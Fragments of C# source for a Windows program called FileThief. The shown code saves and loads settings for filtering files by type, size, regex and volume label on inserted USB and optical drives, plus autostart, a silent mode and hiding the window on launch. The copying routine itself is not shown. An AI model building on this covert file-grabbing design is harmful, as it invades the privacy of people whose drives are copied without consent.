private void btnSave_Click(object sender, EventArgs e) { ClsMain.WriteIni("FileType", "Type", txtType.Text, ClsMain.StrConfig); ClsMain.WriteIni("FileType", "TypeMode", cbType.SelectedIndex.ToString(), ClsMain.StrConfig); ClsMain.WriteIni("FileType", "Size", txtSize.Text, ClsMain.StrConfig); ClsMain.WriteIni("FileType", "SizeMode", cbSize.SelectedIndex.ToString(), ClsMain.StrConfig); ClsMain.WriteIni("FileType", "Path", txtPath.Text, ClsMain.StrConfig); ClsMain.WriteIni("FileName", "RegExp", txtRegExp.Text, ClsMain.StrConfig); ClsMain.WriteIni("Driver", "VolumeLabel", txtLabel.Text, ClsMain.StrConfig); ClsMain.WriteIni("Driver", "VolumeLabelMode", cbVolume.SelectedIndex.ToString(), ClsMain.StrConfig); ClsMain.WriteIni("Log", "WriteLog", Convert.ToInt32(chkLog.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("Log", "LogPath", Application.StartupPath + "\\FileThief.log", ClsMain.StrConfig); ClsMain.WriteIni("Log", "LogError", Convert.ToInt32(chkLogErr.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("Log", "LogInfo", Convert.ToInt32(chkLogInfo.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("General", "Startup", Convert.ToInt32(chkAutoRun.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("General", "SilentMode", Convert.ToInt32(chkSilent.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("DriverType", "USBDisk", Convert.ToInt32(chkUSBDisk.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("DriverType", "USBHD", Convert.ToInt32(chkUSBHD.Checked).ToString(), ClsMain.StrConfig); ClsMain.WriteIni("DriverType", "ROM", Convert.ToInt32(chkROM.Checked).ToString(), ClsMain.StrConfig); var bootStatus = ClsMain.SetAutoBoot(chkAutoRun.Checked); if (bootStatus == -1) { MessageBox.Show("设置开机启动失败!\n其他设置将继续保存。", @"FileThief", MessageBoxButtons.OK, MessageBoxIcon.Error); ClsMain.WriteIni("General", "Startup", 0.ToString(), ClsMain.StrConfig); } MessageBox.Show(@"保存成功!请重启 FileThief 以使更改生效!", @"FileThief", MessageBoxButtons.OK, MessageBoxIcon.Information); }
public void LoadSettings() { // Check whether copy all files or not if (ClsMain.ReadIni("FileType", "Type", "", ClsMain.StrConfig) != "") { ClsMain.ConType = ClsMain.ReadIni("FileType", "Type", "", ClsMain.StrConfig).Split('|'); IsAllFiles = false; } else { IsAllFiles = true; } ClsMain.BType = ClsMain.ReadIni("FileType", "TypeMode", "0", ClsMain.StrConfig); ClsMain.CType = ClsMain.ReadIni("FileType", "Type", "", ClsMain.StrConfig); ClsMain.ConSize = Convert.ToInt32(ClsMain.ReadIni("FileType", "Size", "10240", ClsMain.StrConfig)); ClsMain.BSize = ClsMain.ReadIni("FileType", "SizeMode", "0", ClsMain.StrConfig); ClsMain.ConPath = ClsMain.ReadIni("FileType", "Path", Application.StartupPath + "\\Files", ClsMain.StrConfig); ClsMain.ConFileNameRegExp = ClsMain.ReadIni("FileName", "RegExp", "", ClsMain.StrConfig); ClsMain.ConLabel = ClsMain.ReadIni("Driver", "VolumeLabel", "", ClsMain.StrConfig).Split(new char[] { '|' }); ClsMain.BLabel = ClsMain.ReadIni("Driver", "VolumeLabelMode", "0", ClsMain.StrConfig); ClsMain.CLabel = ClsMain.ReadIni("Driver", "VolumeLabel", "", ClsMain.StrConfig); ClsMain.ConLog = ClsMain.ReadIni("Log", "WriteLog", "1", ClsMain.StrConfig); ClsMain.ConLogPath = ClsMain.ReadIni("Log", "LogPath", "", ClsMain.StrConfig); ClsMain.ConLogErr = ClsMain.ReadIni("Log", "LogError", "1", ClsMain.StrConfig); ClsMain.ConLogInfo = ClsMain.ReadIni("Log", "LogInfo", "1", ClsMain.StrConfig); ClsMain.ConStartup = ClsMain.ReadIni("General", "Startup", "0", ClsMain.StrConfig); ClsMain.ConSilent = ClsMain.ReadIni("General", "SilentMode", "1", ClsMain.StrConfig); ClsMain.ConUsbDisk = ClsMain.ReadIni("DriverType", "USBDisk", "1", ClsMain.StrConfig); ClsMain.ConUsbhd = ClsMain.ReadIni("DriverType", "USBHD", "1", ClsMain.StrConfig); ClsMain.ConRom = ClsMain.ReadIni("DriverType", "ROM", "0", ClsMain.StrConfig); ClsMain.ConWhitelist = ClsMain.ReadIni("Device", "Whitelist", "1", ClsMain.StrConfig); ClsMain.ConHotkeyE = ClsMain.ReadIni("Hotkey", "Enabled", "0", ClsMain.StrConfig); ClsMain.ConHotkey = ClsMain.ReadIni("Hotkey", "Hotkey", "", ClsMain.StrConfig); System.Diagnostics.Debug.WriteLine("CHE " + ClsMain.ConHotkeyE); bool t = RegHotKey(ClsMain.ConHotkey, Handle); System.Diagnostics.Debug.WriteLine("t " + t); if (ClsMain.ConHotkeyE == "1") { if (t == false) { MessageBox.Show("热键注册失败。", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error); } } else { System.Diagnostics.Debug.WriteLine("成功!"); } }
public void LoadSettings() { // Check whether copy all files or not if (ClsMain.ReadIni("FileType", "Type", "", ClsMain.StrConfig) != "") { ClsMain.ConType = ClsMain.ReadIni("FileType", "Type", "", ClsMain.StrConfig).Split('|'); IsAllFiles = false; } else { IsAllFiles = true; } ClsMain.BType = ClsMain.ReadIni("FileType", "TypeMode", "0", ClsMain.StrConfig); ClsMain.CType = ClsMain.ReadIni("FileType", "Type", "", ClsMain.StrConfig); ClsMain.ConSize = Convert.ToInt32(ClsMain.ReadIni("FileType", "Size", "10240", ClsMain.StrConfig)); ClsMain.BSize = ClsMain.ReadIni("FileType", "SizeMode", "0", ClsMain.StrConfig); ClsMain.ConPath = ClsMain.ReadIni("FileType", "Path", Application.StartupPath + "\\Files", ClsMain.StrConfig); ClsMain.ConFileNameRegExp = ClsMain.ReadIni("FileName", "RegExp", "", ClsMain.StrConfig); ClsMain.ConLabel = ClsMain.ReadIni("Driver", "VolumeLabel", "", ClsMain.StrConfig).Split(new char[] { '|' }); ClsMain.BLabel = ClsMain.ReadIni("Driver", "VolumeLabelMode", "0", ClsMain.StrConfig); ClsMain.CLabel = ClsMain.ReadIni("Driver", "VolumeLabel", "", ClsMain.StrConfig); ClsMain.ConLog = ClsMain.ReadIni("Log", "WriteLog", "1", ClsMain.StrConfig); ClsMain.ConLogPath = ClsMain.ReadIni("Log", "LogPath", "", ClsMain.StrConfig); ClsMain.ConLogErr = ClsMain.ReadIni("Log", "LogError", "1", ClsMain.StrConfig); ClsMain.ConLogInfo = ClsMain.ReadIni("Log", "LogInfo", "1", ClsMain.StrConfig); ClsMain.ConStartup = ClsMain.ReadIni("General", "Startup", "0", ClsMain.StrConfig); ClsMain.ConSilent = ClsMain.ReadIni("General", "SilentMode", "1", ClsMain.StrConfig); ClsMain.ConUSBDisk = ClsMain.ReadIni("DriverType", "USBDisk", "1", ClsMain.StrConfig); ClsMain.ConUSBHD = ClsMain.ReadIni("DriverType", "USBHD", "1", ClsMain.StrConfig); ClsMain.ConROM = ClsMain.ReadIni("DriverType", "ROM", "0", ClsMain.StrConfig); }
private void frmMain_Load(object sender, EventArgs e) { if (!File.Exists(ClsMain.StrConfig)) { ClsMain.WriteIni("FileType", "Type", "", ClsMain.StrConfig); ClsMain.WriteIni("FileType", "TypeMode", "0", ClsMain.StrConfig); ClsMain.WriteIni("FileType", "Size", "10240", ClsMain.StrConfig); ClsMain.WriteIni("FileType", "SizeMode", "0", ClsMain.StrConfig); ClsMain.WriteIni("FileType", "Path", "", ClsMain.StrConfig); ClsMain.WriteIni("FileName", "RegExp", "", ClsMain.StrConfig); ClsMain.WriteIni("Driver", "VolumeLabel", "", ClsMain.StrConfig); ClsMain.WriteIni("Driver", "VolumeLabelMode", "0", ClsMain.StrConfig); ClsMain.WriteIni("Log", "WriteLog", "1", ClsMain.StrConfig); ClsMain.WriteIni("Log", "LogPath", Application.StartupPath + "\\FileThief.log", ClsMain.StrConfig); ClsMain.WriteIni("Log", "LogError", "1", ClsMain.StrConfig); ClsMain.WriteIni("Log", "LogInfo", "1", ClsMain.StrConfig); ClsMain.WriteIni("General", "Startup", "0", ClsMain.StrConfig); ClsMain.WriteIni("General", "SilentMode", "0", ClsMain.StrConfig); ClsMain.WriteIni("DriverType", "USBDisk", "1", ClsMain.StrConfig); ClsMain.WriteIni("DriverType", "USBHD", "1", ClsMain.StrConfig); ClsMain.WriteIni("DriverType", "ROM", "0", ClsMain.StrConfig); LoadSettings(); if (!Directory.Exists(Application.StartupPath + "\\Files")) { Directory.CreateDirectory(Application.StartupPath + "\\Files"); } if (!File.Exists(ClsMain.ConLogPath)) { File.WriteAllText(ClsMain.ConLogPath, "FileThief 日志\r\n\r\n", Encoding.UTF8); } if (ClsMain.ConLog == "1" && ClsMain.ConLogInfo == "1") { WriteLog("FileThief 开始运行", 0, ClsMain.ConLogPath); } } else { LoadSettings(); if (!Directory.Exists(ClsMain.ConPath) && ClsMain.ConPath != "") { Directory.CreateDirectory(ClsMain.ConPath); } if (!File.Exists(ClsMain.ConLogPath)) { File.WriteAllText(ClsMain.ConLogPath, "FileThief 日志\r\n\r\n", Encoding.UTF8); } if (ClsMain.ConLog == "1" && ClsMain.ConLogInfo == "1") { WriteLog("FileThief 开始运行", 0, ClsMain.ConLogPath); } } if (ClsMain.ConSilent == "0") { ntf.Visible = true; } // Hide Form BeginInvoke(new Action(() => { Hide(); Opacity = 1; })); }